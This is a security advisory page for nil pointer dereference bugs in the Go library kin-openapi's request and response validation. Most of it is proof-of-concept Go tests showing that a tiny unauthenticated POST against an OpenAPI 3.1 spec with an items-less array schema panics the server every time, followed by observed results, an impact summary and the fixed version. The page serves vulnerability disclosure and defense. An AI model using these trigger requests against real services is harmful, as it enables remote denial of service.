const responseHeaderSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /hdr: get: responses: '200': description: ok headers: X-Tags: schema: {type: array}

func catchPanic(fn func()) (panicValue any) { defer func() { panicValue = recover() }() fn() return nil }

func TestArrayItemsNilPanicOpenAPI31Accepts(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content. Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value require.True(t, schema.Type.Is("array")) require.Nil(t, schema.Items) }

func TestArrayItemsNilPanicOpenAPI30Rejects(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec30)) require.NoError(t, err) require.Error(t, doc.Validate(loader.Context)) }

func TestArrayItemsNilPanicUrlencodedValidateRequest(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err)

got := catchPanic(func() { = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }

func TestArrayItemsNilPanicMultipartValidateRequest(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(multipartSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("tags", "a")) require.NoError(t, w.Close())

req, err := http.NewRequest(http.MethodPost, "/upload", &buf) require.NoError(t, err) req.Header.Set("Content-Type", w.FormDataContentType()) route, pathParams, err := router.FindRoute(req) require.NoError(t, err)

got := catchPanic(func() { = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }

func TestArrayItemsNilPanicResponseHeaderValidateResponse(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(responseHeaderSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

req, err := http.NewRequest(http.MethodGet, "/hdr", nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err)

got := catchPanic(func() { = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{ RequestValidationInput: &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }, Status: http.StatusOK, Header: http.Header{"X-Tags": []string{"a,b"}}, Body: io.NopCloser(strings.NewReader("")), }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }

func TestArrayItemsNilPanicE2EHTTPServer(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

var panicCount int mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r http.Request) { defer func() { if recover() != nil { panicCount++ http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError) } }() route, pathParams, err := router.FindRoute(r) require.NoError(t, err) err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) })

srv := httptest.NewServer(mux) t.Cleanup(srv.Close)

const n = 5 for i := 0; i < n; i++ { resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a")) require.NoError(t, err) , = io.ReadAll(resp.Body) = resp.Body.Close() require.Equal(t, http.StatusInternalServerError, resp.StatusCode) } require.Equal(t, n, panicCount) }

func TestArrayItemsNilPanicDeterministic(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)

const attempts = 50 panics := 0 for i := 0; i < attempts; i++ { req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) if catchPanic(func() { = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) != nil { panics++ } } require.Equal(t, attempts, panics) }

Observed results on the vulnerable tree:

- 3.1 accepts the schema (Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with nil pointer dereference - 50/50 panic rate (100% deterministic) - E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500

Impact

- Type: NULL Pointer Dereference → unauthenticated remote denial of service. - Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body. - Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).

1 / 2
Source: GitHub
First published (updated )
Null Pointer Dereference

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203